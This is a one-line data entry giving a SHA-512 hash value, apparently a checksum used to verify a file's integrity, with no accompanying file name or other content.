SHA512077a5c554663be7b71f181d961f5c98c732bc296dc015ffee30768a648bee3aad62c39c352cf2947432be19519906aeac7dfaf2557d309bb460732abb7fdbc68